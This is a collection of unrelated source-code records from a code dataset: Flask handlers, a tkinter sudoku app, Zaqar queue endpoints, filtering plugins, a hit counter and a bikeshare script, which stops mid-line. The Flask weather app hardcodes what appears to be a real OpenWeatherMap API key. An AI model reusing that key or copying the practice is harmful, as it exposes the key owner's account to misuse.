+{"seq_id":"324888888","text":"from models.user import User\nfrom flask import render_template, request\n\n\ndef users_list(**params):\n    token = request.cookies.get('my-simple-app-session')\n    success, user, message = User.verify_session(token)\n\n    if success:\n        params[\"current_user\"] = user\n        params[\"users\"] = User.fetch()\n\n        return render_template(\"admin/users/users-list.html\", **params)\n    else:\n        params[\"error_message\"] = message\n        return render_template(\"public/auth/error_page.html\", **params)\n","sub_path":"handlers/admin/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"537117058","text":"from tkinter import *\nimport sudoku,time\n\nnew_sudoku = sudoku.Sudoku_board(9, 9)\n\ncell_width = 9\ndef create_board_window():\n    mm=hr=sec=0\n\n    for cells in range(81):\n        row = cells // 9\n        col = cells % 9\n\n        if (row < 3 or row > 5) and (col < 3 or col > 5):\n            color = 'white'\n        elif (row >= 3 and row < 6) and (col >= 3 and col < 6):\n            color = 'white'\n        else:\n            color = 'dark goldenrod'\n\n        board[row][col].delete(0, END)\n        board[row][col].insert(END,(int(new_sudoku.board[row,col]) if new_sudoku.board[row,col]>0 else \"\"))\n        if new_sudoku.board[row, col] > 0:\n            board[row][col].configure(state=DISABLED,disabledbackground=color,disabledforeground='gray1')\n        board[row][col].configure(bg=color,fg='gray1')\n\ndef reset_puzzle_window():\n    for cells in range(81):\n        row = cells // 9\n        col = cells % 9\n        board[row][col].configure(state=NORMAL)\n        board[row][col].delete(0, END)\ndef upload_puzzle_window():\n    for cells in range(81):\n        row = cells // 9\n        col = cells % 9\n        new_sudoku.board[row][col]=int(board[row][col].get()) if board[row][col].get()!=\"\" else 0\n    print(\"hello\")\n    print(new_sudoku.board)\n\n\ndef solve_puzzle_window():\n    new_sudoku.solution()\n    create_board_window()\n\ndef callback(input):\n    if input==\"\":\n        return True\n    else:\n        try:\n            num=int(input)\n        except:\n            return False\n        if num < 10 and num > 0 :\n            return True\n    return False\nwindow = Tk()\nprint(window.geometry('460x500'))\n\nboard = nums = []\n\nfor row in range(9):\n    board += [[\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"]]\n\nfont = ('Arial', 20)\n\nfor cells in range(81):\n    row=cells // 9\n    col=cells % 9\n\n    if (row < 3 or row > 5) and (col < 3 or col > 5):\n        color = 'white'\n    elif (row >= 3 and row < 6) and (col >= 3 and col < 6):\n        color = 'white'\n    else:\n        color = 'dark goldenrod'\n\n    board[row][col] = Entry(window, width=3, borderwidth=2,\n                            bg=color,font=font, justify=CENTER)\n    board[row][col].grid(row=row, column=col, ipady=1)\n    reg = window.register(callback)\n    board[row][col].config(validate=\"key\", validatecommand=(reg, '%P'))\n\nb1=Button(window,text=\"Create Puzzle\",command=create_board_window)\nb1.grid(row=10,column=0,columnspan=2,padx=0,pady=3,ipadx=8)\n\nb2=Button(window,text=\"Solve Puzzle\",command=solve_puzzle_window)\nb2.grid(row=11,column=0,columnspan=2,padx=0,pady=3,ipadx=8)\n\nb3=Button(window,text=\"Upload\",command=upload_puzzle_window)\nb3.grid(row=10,column=4,columnspan=2,padx=0,pady=3,ipadx=8)\n\nb4=Button(window,text=\"Reset\",command=reset_puzzle_window)\nb4.grid(row=11,column=4,columnspan=2,padx=0,pady=3,ipadx=8)\nwindow.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"300125810","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/wareweb/cookiewriter.py\n# Compiled at: 2006-10-22 17:17:11\nfrom Cookie import SimpleCookie\nimport timeinterval, time\n\nclass Cookie(object):\n    \"\"\"\n    Object that represents a cookie meant to be set.  This is like the\n    standard ``Cookie.SimpleCookie`` object, only slightly nicer --\n    each cookie object is just one ``name=value`` setting, and dates\n    can be given as a few special values (``'ONCLOSE'``, ``'NOW'``,\n    ``'NEVER'``, and ``timeinterval`` strings like ``'1w'``).\n    \"\"\"\n    __module__ = __name__\n\n    def __init__(self, name, value, path, expires=None, secure=False):\n        self.name = name\n        self.value = value\n        self.path = path\n        self.secure = secure\n        if expires == 'ONCLOSE' or not expires:\n            expires = None\n        elif expires == 'NOW' or expires == 'NEVER':\n            expires = time.gmtime(time.time())\n            if expires == 'NEVER':\n                expires = (\n                 expires[0] + 10,) + expires[1:]\n            expires = time.strftime('%a, %d-%b-%Y %H:%M:%S GMT', expires)\n        else:\n            if isinstance(expires, (str, unicode)) and expires.startswith('+'):\n                interval = timeinterval.time_decode(expires[1:])\n                expires = time.time() + interval\n            if isinstance(expires, (int, long, float)):\n                expires = time.gmtime(expires)\n            if isinstance(expires, (tuple, time.struct_time)):\n                expires = time.strftime('%a, %d-%b-%Y %H:%M:%S GMT', expires)\n        self.expires = expires\n        return\n\n    def __repr__(self):\n        return '<%s %s=%r>' % (self.__class__.__name__, self.name, self.value)\n\n    def header(self):\n        c = SimpleCookie()\n        c[self.name] = self.value\n        c[self.name]['path'] = self.path\n        if self.expires is not None:\n            c[self.name]['expires'] = self.expires\n        if self.secure:\n            c[self.name]['secure'] = True\n        return str(c).split(':')[1].strip()","sub_path":"pycfiles/Wareweb-0.3-py2.4/cookiewriter.py","file_name":"cookiewriter.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"85124766","text":"'''\nCreated on 2015年6月4日\n\n@author: Markdorian\n'''\n\n\nfrom selenium import webdriver\nimport sqlite3\nimport unittest\nimport time, datetime\nfrom Methods.LoginTools import LoginTools\nfrom Methods.WebDriverTools import WebDriverTools\nfrom Methods.OldTools import OldTools\nfrom Methods.MemcacheTools import MemcacheTools\ntag1='HuarunHK'\n\nclass Case001(unittest.TestCase):\n    testCaseID='Case001'\n    projectName='香港华润'\n    buzName='数据分析页'\n    start = 0.0\n    now = 'None'\n    startTime = \"\"\n    def setUp(self):\n        self.start = datetime.datetime.now()\n        self.startTime = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime()).split(\" \")[-1]\n        MemcacheTools.setMemTime(self.testCaseID,{'start':self.startTime})\n        lg = LoginTools()\n        self.driver = lg.loginInitial_Chrome(self.testCaseID)\n        self.driver = lg.loginnow(self.driver)\n\n    def Test(self):\n        driver = self.driver\n        ls=['div[id=\"project-18-HuarunHK-undefined\"]', 'div[project-id=\"18\"]']\n        OldTools.icon_view_login(driver, self.projectName, ls)\n        try:\n            driver.find_element_by_css_selector('#ulPages > li:nth-child(3) > a > span.nav-btn-text').click()\n        except Exception as e:\n            assert 0, tag1 + '-Webpage is not available,maybe loading fails,please check it'\n\n\n\n\n    def tearDown(self):\n        self.driver.quit()\n        self.start = str((datetime.datetime.now() - self.start).seconds)\n        self.start = self.start + \"s\"\n        self.now = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime()).split(\" \")[-1]\n        MemcacheTools.setMemTime(self.testCaseID,{'start':self.startTime,'end':self.now})\n\n\nif __name__ == \"__main__\":\n    suite = unittest.TestSuite()\n    suite.addTest(Case001('Test'))\n    runner = unittest.TextTestRunner()\n    runner.run(suite)","sub_path":"BeOP-AutoTest2016/UICase/Case001huarunDiagnosis.py","file_name":"Case001huarunDiagnosis.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"289637511","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2015 Luis López <luis@cuarentaydos.com>\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301,\n# USA.\n\n\nimport datetime\nimport fnmatch\nimport functools\nimport re\nimport time\n\nimport humanfriendly\nfrom arroyo import analyze, extensions, schema\n\n\nclass StateFilter(extensions.Filter):\n    HANDLES = [\"state\"]\n\n    def filter(self, name, value, item):\n        if value == \"all\":\n            return True\n\n        if not item.entity:\n            return True\n\n        if not self.srvs.db.downloads.sources_for_entity(item.entity):\n            return True\n\n        return False\n\n\nclass SourceAttributeFilter(extensions.Filter):\n    HANDLES = [\n        # item.source attrib\n        \"created\",\n        \"created-min\",\n        \"created-max\",\n        \"leechers\",\n        \"leechers-min\",\n        \"leechers-max\",\n        \"name\",\n        \"name-like\",\n        \"name-glob\",\n        \"provider\",\n        \"provider-in\",\n        \"seeds\",\n        \"seeds-min\",\n        \"seeds-max\",\n        \"size\",\n        \"size-min\",\n        \"size-max\",\n        \"uri\",\n        \"uri-like\",\n        \"uri-glob\",\n        # other names\n        \"age\",\n        \"age-min\",\n        \"age-max\",\n        \"since\",\n        \"type\",\n        \"type-in\",\n    ]\n\n    def filter(self, name, value, source):\n        sourcevalue = None\n\n        if name == \"type\" or name.startswith(\"type-\"):\n            try:\n                sourcevalue = source.entity.type\n            except AttributeError:\n                return False\n\n        elif name == \"age\" or name.startswith(\"age-\"):\n            if not source.created:\n                return False\n\n            now = int(time.time())\n            value = now - value\n            name = {\n                \"age\": \"created\",\n                \"age-min\": \"created-max\",\n                \"age-max\": \"created-min\",\n            }[name]\n\n        elif name == \"since\":\n            if not source.created:\n                return False\n\n            dt = humanfriendly.parse_date(value)\n            ts = datetime.datetime(*dt).timestamp()\n            value = ts\n            name = \"created-min\"\n\n        basename, fn = eval_filter_name(name)\n        if sourcevalue is None:\n            sourcevalue = getattr(source, basename)\n\n        value = convert_type(value, sourcevalue)\n        return fn(value, sourcevalue)\n\n\nclass MetadataAttributeFilter(extensions.Filter):\n    ENTITY_TYPE = None\n    HANDLES = [\"codec\", \"quality\", \"source\"]\n\n    def filter(self, name, value, source):\n        m = {\n            \"codec\": analyze.Tags.VIDEO_CODEC,\n            \"quality\": analyze.Tags.VIDEO_SCREEN_SIZE,\n            \"source\": analyze.Tags.RELEASE_SOURCE,\n        }\n        mkey = m.get(name) or name\n        if not source.metadata or mkey not in source.metadata:\n            return False\n\n        # Normalize both values\n        srcvalue = source.metadata[mkey].lower()\n        usrvalue = value.lower()\n\n        if name == \"codec\":\n            # Normalize codec values\n            codec_sub = functools.partial(re.sub, r\"^(h|x)\\.?26([45])\", r\"h26\\2\")\n            srcvalue = codec_sub(srcvalue)\n            usrvalue = codec_sub(usrvalue)\n\n        return srcvalue == usrvalue\n\n\nclass EntityAttributeFilter(extensions.Filter):\n    ENTITY_TYPE = None\n    HANDLES = []\n\n    def filter(self, name, value, source):\n        if not isinstance(source.entity, self.ENTITY_TYPE):\n            return False\n\n        basename, fn = eval_filter_name(name)\n\n        sourcevalue = getattr(source.entity, basename)\n        value = convert_type(value, sourcevalue)\n        return fn(value, sourcevalue)\n\n\nclass EpisodeAttributeFilter(EntityAttributeFilter):\n    ENTITY_TYPE = schema.Episode\n    HANDLES = [\n        \"series\",\n        \"series-glob\",\n        \"series-like\",\n        \"series-year\",\n        \"season\",\n        \"season-min\",\n        \"season-max\",\n        \"number\",\n        \"number-min\",\n        \"number-max\",\n    ]\n\n    def filter(self, name, value, item):\n        name = name.replace(\"series-\", \"\")\n        return super().filter(name, value, item)\n\n\nclass MovieAttributeFilter(EntityAttributeFilter):\n    ENTITY_TYPE = schema.Movie\n    HANDLES = [\n        \"title\",\n        \"title-glob\",\n        \"title-like\",\n        \"movie-year\",\n        \"movie-year-min\",\n        \"movie-year-max\",\n    ]\n\n    def filter(self, name, value, item):\n        name = name.replace(\"movie-\", \"\")\n        return super().filter(name, value, item)\n\n\ndef convert_type(value, target):\n    if target is None:\n        return value\n\n    return type(target)(value)\n\n\ndef eval_filter_name(name):\n    if name.endswith(\"-like\"):\n        name = name[:-5]\n        fn = cmp_like\n\n    elif name.endswith(\"-glob\"):\n        name = name[:-5]\n        fn = cmp_glob\n\n    elif name.endswith(\"-min\"):\n        name = name[:-4]\n        fn = cmp_min\n\n    elif name.endswith(\"-max\"):\n        name = name[:-4]\n        fn = cmp_max\n\n    elif name.endswith(\"-in\"):\n        name = name[:-3]\n        fn = cmp_in\n\n    else:\n        fn = cmp_eq\n\n    return name, fn\n\n\ndef cmp_eq(filtervalue, sourcevalue):\n    if isinstance(filtervalue, str) and isinstance(sourcevalue, str):\n        filtervalue = filtervalue.lower()\n        sourcevalue = sourcevalue.lower()\n\n    return filtervalue == sourcevalue\n\n\ndef cmp_min(filtervalue, sourcevalue):\n    return filtervalue <= sourcevalue\n\n\ndef cmp_max(filtervalue, sourcevalue):\n    return filtervalue >= sourcevalue\n\n\ndef cmp_glob(filtervalue, sourcevalue):\n    return fnmatch.fnmatch(sourcevalue, filtervalue)\n\n\ndef cmp_like(filtervalue, sourcevalue):\n    return re.match(filtervalue, sourcevalue) is not None\n\n\ndef cmp_in(options, sourcevalue):\n    options = [x.strip() for x in options.split(\",\")]\n    return sourcevalue in options\n","sub_path":"arroyo/plugins/filters/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":6354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"222077487","text":"# Copyright (c) 2015 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License.  You may obtain a copy\n# of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\nfrom oslo_log import log as logging\n\nfrom zaqar.common.api import response\nfrom zaqar.common.api import utils as api_utils\nfrom zaqar.i18n import _\nfrom zaqar.storage import errors as storage_errors\nfrom zaqar.transport import validation\n\nLOG = logging.getLogger(__name__)\n\n\nclass Endpoints(object):\n    \"\"\"v1.1 API Endpoints.\"\"\"\n\n    def __init__(self, storage, control, validate):\n        self._queue_controller = storage.queue_controller\n        self._message_controller = storage.message_controller\n        self._claim_controller = storage.claim_controller\n\n        self._pools_controller = control.pools_controller\n        self._flavors_controller = control.flavors_controller\n\n        self._validate = validate\n\n    @api_utils.raises_conn_error\n    def queue_list(self, req):\n        \"\"\"Gets a list of queues\n\n        :param req: Request instance ready to be sent.\n        :type req: `api.common.Request`\n        :return: resp: Response instance\n        :type: resp: `api.common.Response`\n        \"\"\"\n        project_id = req._headers.get('X-Project-ID')\n\n        LOG.debug(u'Queue list - project: %(project)s',\n                  {'project': project_id})\n\n        kwargs = {}\n\n        if req._body.get('marker') is not None:\n            kwargs['marker'] = req._body.get('marker')\n\n        if req._body.get('limit') is not None:\n            kwargs['limit'] = req._body.get('limit')\n\n        if req._body.get('detailed') is not None:\n            kwargs['detailed'] = req._body.get('detailed')\n\n        try:\n            self._validate.queue_listing(**kwargs)\n            results = self._queue_controller.list(\n                project=project_id, **kwargs)\n        except validation.ValidationFailed as ex:\n            LOG.debug(ex)\n            headers = {'status': 400}\n            return api_utils.error_response(req, ex, headers)\n        except storage_errors.ExceptionBase as ex:\n            LOG.exception(ex)\n            error = 'Queues could not be listed.'\n            headers = {'status': 503}\n            return api_utils.error_response(req, ex, error, headers)\n\n        # Buffer list of queues\n        queues = list(next(results))\n\n        # Got some. Prepare the response.\n        body = {'queues': queues}\n        headers = {'status': 200}\n\n        resp = response.Response(req, body, headers)\n\n        return resp\n\n    @api_utils.raises_conn_error\n    def queue_create(self, req):\n        \"\"\"Creates a queue\n\n        :param req: Request instance ready to be sent.\n        :type req: `api.common.Request`\n        :return: resp: Response instance\n        :type: resp: `api.common.Response`\n        \"\"\"\n        project_id = req._headers.get('X-Project-ID')\n        queue_name = req._body.get('queue_name')\n        metadata = req._body.get('metadata', {})\n\n        LOG.debug(u'Queue create - queue: %(queue)s, project: %(project)s',\n                  {'queue': queue_name,\n                   'project': project_id})\n\n        try:\n            self._validate.queue_identification(queue_name, project_id)\n            self._validate.queue_metadata_length(len(str(metadata)))\n            created = self._queue_controller.create(queue_name,\n                                                    metadata=metadata,\n                                                    project=project_id)\n        except validation.ValidationFailed as ex:\n            LOG.debug(ex)\n            headers = {'status': 400}\n            return api_utils.error_response(req, ex, headers)\n        except storage_errors.ExceptionBase as ex:\n            LOG.exception(ex)\n            error = _('Queue %s could not be created.') % queue_name\n            headers = {'status': 503}\n            return api_utils.error_response(req, ex, headers, error)\n        else:\n            body = _('Queue %s created.') % queue_name\n            headers = {'status': 201} if created else {'status': 204}\n            resp = response.Response(req, body, headers)\n            return resp\n\n    @api_utils.raises_conn_error\n    def queue_delete(self, req):\n        \"\"\"Deletes a queue\n\n        :param req: Request instance ready to be sent.\n        :type req: `api.common.Request`\n        :return: resp: Response instance\n        :type: resp: `api.common.Response`\n        \"\"\"\n        project_id = req._headers.get('X-Project-ID')\n        queue_name = req._body.get('queue_name')\n\n        LOG.debug(u'Queue delete - queue: %(queue)s, project: %(project)s',\n                  {'queue': queue_name, 'project': project_id})\n        try:\n            self._queue_controller.delete(queue_name, project=project_id)\n        except storage_errors.ExceptionBase as ex:\n            LOG.exception(ex)\n            error = _('Queue %s could not be deleted.') % queue_name\n            headers = {'status': 503}\n            return api_utils.error_response(req, ex, headers, error)\n        else:\n            body = _('Queue %s removed.') % queue_name\n            headers = {'status': 204}\n            resp = response.Response(req, body, headers)\n            return resp\n\n    @api_utils.raises_conn_error\n    def queue_get(self, req):\n        \"\"\"Gets a queue\n\n        :param req: Request instance ready to be sent.\n        :type req: `api.common.Request`\n        :return: resp: Response instance\n        :type: resp: `api.common.Response`\n        \"\"\"\n        project_id = req._headers.get('X-Project-ID')\n        queue_name = req._body.get('queue_name')\n\n        LOG.debug(u'Queue get - queue: %(queue)s, '\n                  u'project: %(project)s',\n                  {'queue': queue_name, 'project': project_id})\n\n        try:\n            resp_dict = self._queue_controller.get(queue_name,\n                                                   project=project_id)\n        except storage_errors.DoesNotExist as ex:\n            LOG.debug(ex)\n            error = _('Queue %s does not exist.') % queue_name\n            headers = {'status': 404}\n            return api_utils.error_response(req, ex, headers, error)\n        except storage_errors.ExceptionBase as ex:\n            LOG.exception(ex)\n            headers = {'status': 503}\n            error = _('Cannot retrieve queue %s.') % queue_name\n            return api_utils.error_response(req, ex, headers, error)\n        else:\n            body = resp_dict\n            headers = {'status': 200}\n            resp = response.Response(req, body, headers)\n            return resp\n\n    @api_utils.raises_conn_error\n    def queue_get_stats(self, req):\n        \"\"\"Gets queue stats\n\n        :param req: Request instance ready to be sent.\n        :type req: `api.common.Request`\n        :return: resp: Response instance\n        :type: resp: `api.common.Response`\n        \"\"\"\n        project_id = req._headers.get('X-Project-ID')\n        queue_name = req._body.get('queue_name')\n\n        LOG.debug(u'Queue get queue stats - queue: %(queue)s, '\n                  u'project: %(project)s',\n                  {'queue': queue_name, 'project': project_id})\n\n        try:\n            resp_dict = self._queue_controller.stats(queue_name,\n                                                     project=project_id)\n            body = resp_dict\n        except storage_errors.QueueDoesNotExist as ex:\n            LOG.exception(ex)\n            resp_dict = {\n                'messages': {\n                    'claimed': 0,\n                    'free': 0,\n                    'total': 0\n                }\n            }\n            body = resp_dict\n            headers = {'status': 404}\n            resp = response.Response(req, body, headers)\n            return resp\n        except storage_errors.ExceptionBase as ex:\n            LOG.exception(ex)\n            error = _('Cannot retrieve queue %s stats.') % queue_name\n            headers = {'status': 503}\n            return api_utils.error_response(req, ex, headers, error)\n        else:\n            headers = {'status': 200}\n            resp = response.Response(req, body, headers)\n            return resp","sub_path":"zaqar/api/v1_1/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":8490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"229572724","text":"# --------------------------------------------------------------------------\n# This extension implements a pluggable command line interface for Ark.\n#\n# Author: Darren Mulholland <darren@mulholland.xyz>\n# License: Public Domain\n# --------------------------------------------------------------------------\n\nimport ark\nimport os\nimport clio\nimport sys\n\nfrom . import build\nfrom . import init\nfrom . import clear\nfrom . import serve\nfrom . import edit\nfrom . import watch\n\n\n# Application help text.\nhelptext = \"\"\"\nUsage: %s [FLAGS] [COMMAND]\n\n  Static website generator.\n\nFlags:\n  --help              Print the application's help text and exit.\n  --version           Print the application's version number and exit.\n\nCommands:\n  build               Build the site.\n  clear               Clear the output directory.\n  edit                Edit an existing record or create a new record file.\n  init                Initialize a new site directory.\n  serve               Run a web server on the site's output directory.\n  watch               Monitor the site directory and rebuild on changes.\n\nCommand Help:\n  help <command>      Print the specified command's help text and exit.\n\n\"\"\" % os.path.basename(sys.argv[0])\n\n\n# Initialize the command line interface on the 'init' hook.\n@ark.hooks.register('init', -999)\ndef cli():\n    parser = clio.ArgParser(helptext, ark.meta.__version__)\n\n    cmd_build = parser.add_cmd(\"build\", build.callback, build.helptext)\n    cmd_build.add_flag(\"clear\", \"c\")\n    cmd_build.add_str_opt(\"out\", None, \"o\")\n    cmd_build.add_str_opt(\"src\", None, \"s\")\n    cmd_build.add_str_opt(\"lib\", None, \"l\")\n    cmd_build.add_str_opt(\"inc\", None, \"i\")\n    cmd_build.add_str_opt(\"theme\", None, \"t\")\n\n    cmd_serve = parser.add_cmd(\"serve\", serve.callback, serve.helptext)\n    cmd_serve.add_flag(\"browser\", \"b\")\n    cmd_serve.add_str_opt(\"host\", \"localhost\", \"h\")\n    cmd_serve.add_int_opt(\"port\", 8080, \"p\")\n\n    cmd_init = parser.add_cmd(\"init\", init.callback, init.helptext)\n    cmd_init.add_flag(\"empty\", \"e\")\n\n    parser.add_cmd(\"clear\", clear.callback, clear.helptext)\n    parser.add_cmd(\"edit\", edit.callback, edit.helptext)\n    parser.add_cmd(\"watch\", watch.callback, watch.helptext)\n\n    ark.hooks.event('init_clio', parser)\n\n    parser.parse()\n    if not parser.has_cmd():\n      parser.help()\n","sub_path":"ark/ext/cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"221131991","text":"\n\nfrom xai.brain.wordbase.nouns._snort import _SNORT\n\n#calss header\nclass _SNORTS(_SNORT, ):\n\tdef __init__(self,): \n\t\t_SNORT.__init__(self)\n\t\tself.name = \"SNORTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"snort\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_snorts.py","file_name":"_snorts.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"262403856","text":"from flask import Flask, render_template, request\nimport requests\n\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n    weather_data = None\n    if request.method == \"POST\":\n        location = request.form.get(\"location\")\n        api_key = \"2b9b192a3fd2926952d5abd3b15aac0f\"\n        weather_url = \"https://api.openweathermap.org/data/2.5/weather?q={0}&appid={1}&units=metric&lang=de \".format(location, api_key)\n        weather_data = requests.get(url=weather_url)\n    if weather_data:\n        return render_template(\"index.html\", weather_data=weather_data.json())\n    else:\n        return render_template(\"index.html\")\n\n\nif __name__ == '__main__':\n    app.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"350191560","text":"class HitCounter:\n\n    def __init__(self):\n        \"\"\"\n        Initialize your data structure here.\n        \"\"\"\n        # store hits of only 300 recent timestamps - scalable solution O(1) space\n        self.hits = [0]*300\n        \n        # store the previously stabilized timestamp\n        self.prev = 0\n\n    def hit(self, timestamp):\n        \"\"\"\n        Record a hit.\n        @param timestamp - The current timestamp (in seconds granularity).\n        :type timestamp: int\n        :rtype: void\n        \"\"\"\n        # update the hits counter\n        self.stabilize(timestamp)\n        key = timestamp%300\n        \n        # check if it is a new timestamp\n        if self.prev == timestamp:\n            self.hits[key] += 1\n        else:\n            self.hits[key] = 1\n\n    def getHits(self, timestamp):\n        \"\"\"\n        Return the number of hits in the past 5 minutes.\n        @param timestamp - The current timestamp (in seconds granularity).\n        :type timestamp: int\n        :rtype: int\n        \"\"\"\n        # update the hits counter\n        self.stabilize(timestamp)\n        \n        # total hits are the sum of all individual hits\n        return sum(self.hits)\n\n    def stabilize(self, timestamp):\n        # if hits for the same time stamp, no need to stabilize\n        if timestamp == self.prev:\n            return\n        \n        # if prev timestamp was longer than 5 minutes ago, reset\n        if timestamp - self.prev >= 300:\n            self.hits = [0]*300\n        else:\n            # based on prev and current key, reset only some indices\n            key = timestamp%300\n            prevKey = self.prev%300\n            \n            if prevKey < key:\n                for i in range(prevKey+1, key+1):\n                    self.hits[i] = 0\n            else:\n                # rollover\n                for i in range(prevKey+1, 300):\n                    self.hits[i] = 0\n                for i in range(0, key+1):\n                    self.hits[i] = 0\n                    \n        self.prev = timestamp\n\n# Your HitCounter object will be instantiated and called as such:\n# obj = HitCounter()\n# obj.hit(timestamp)\n# param_2 = obj.getHits(timestamp)\n","sub_path":"362. Design Hit Counter/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"87474274","text":"import time\nimport calendar\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # get user input for city (chicago, new york city, washington) \n    city = input(\"\\nWould you like to filter the data for Chicago, New York, or Washington?\\n\").lower()\n    # request the user input for city again if the first input was not valid\n    while city not in CITY_DATA.keys():\n        city = input(\"\\nInvalid city. Please choose Chicago, New York, or Washington.\\n\").lower()\n    \n    # get user input for how to filter the data\n    filter_mode = input(\"\\nWould you like to filter the data by month, day, both or not at all? Type \\\"none\\\" for no time filter.\\n\").lower()\n    # create a list with the valid filters\n    available_filters = ['month', 'day', 'both', 'none']\n    # request the user input again if the first input was not valid\n    while filter_mode not in available_filters:\n        filter_mode = input(\"\\nInvalid filter. Please the filter by month, day, both or not at all (type \\\"none\\\" for no time filter).\\n\").lower()\n    \n    # get user input for month (all, january, february, ... , june)\n    if filter_mode == 'month' or filter_mode == 'both':\n        # create a list from january to june using the calendar library and list comprehension to compare with the user input\n        available_months = [x for x in list(calendar.month_name)[1:7]]\n        month = input(\"\\nWhich month? January, February, March, April, May, or June?\\n\").capitalize()\n        ## request the user input again if the first input was not valid\n        while month not in available_months:\n            month = input(\"\\nInvalid month. Please choose January, February, March, April, May, or June?\\n\").capitalize()\n    else:\n        month = 'all'\n\n    # get user input for day of the week (all, monday, tuesday, ... sunday)\n    if filter_mode == 'day' or filter_mode == 'both':\n        # creates a list that contain the name of the days from Sunday to Saturday\n        day_name = [calendar.day_name[x] for x in calendar.Calendar(firstweekday=6).iterweekdays()]\n        select_day = int(input(\"\\nWhich day? Please type your response as an integer (e.g., 1=Sunday).\\n\"))\n        # request the user input again if the first input was not valid\n        while select_day not in list(range(1, 8)):\n            select_day = int(input(\"\\nInvalid day. Please choose a day as an integer (e.g., 1=Sunday).\\n\"))\n        day = day_name[(select_day - 1)]\n    else:\n        day = 'all'\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    # load data file into a dataframe acording to the city\n    df = pd.read_csv(CITY_DATA[city])\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n    # extract the month from the Start Time column to create an Month Name column\n    df['Month Name'] = df['Start Time'].dt.month_name()\n    # extract the day from the Start Time column to create an Weekday name column\n    df['Weekday'] = df['Start Time'].dt.weekday_name\n    # extract hour from the Start Time column to create an hour column\n    df['Start Hour'] = df['Start Time'].dt.hour\n    # applies a filter to the data based on the month\n    if month != 'all':\n        df = df[df['Month Name'] == month]\n    # applies a filter to the data based on the day of the week\n    if day != 'all':\n        df[df['Weekday'] == day]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\n    \n    Arg:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # display the most common month\n    print('Most Common Month: {}'.format(df['Month Name'].mode()[0]))\n\n    # display the most common day\n    print('\\nMost Common Day of Week: {}'.format(df['Weekday'].mode()[0]))\n\n    # display the most common start hour\n    print('\\nMost Common Start Hour: {}'.format(df['Start Hour'].mode()[0]))\n\n    # display the most common day part as start hour\n    star_hour_cnt = 